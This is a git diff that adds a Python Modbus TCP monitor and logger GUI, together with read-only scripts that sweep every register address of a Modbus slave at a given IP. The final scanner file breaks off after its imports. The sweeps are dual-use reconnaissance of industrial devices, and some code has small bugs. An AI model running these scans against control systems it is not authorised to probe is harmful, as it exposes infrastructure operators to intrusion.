logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# 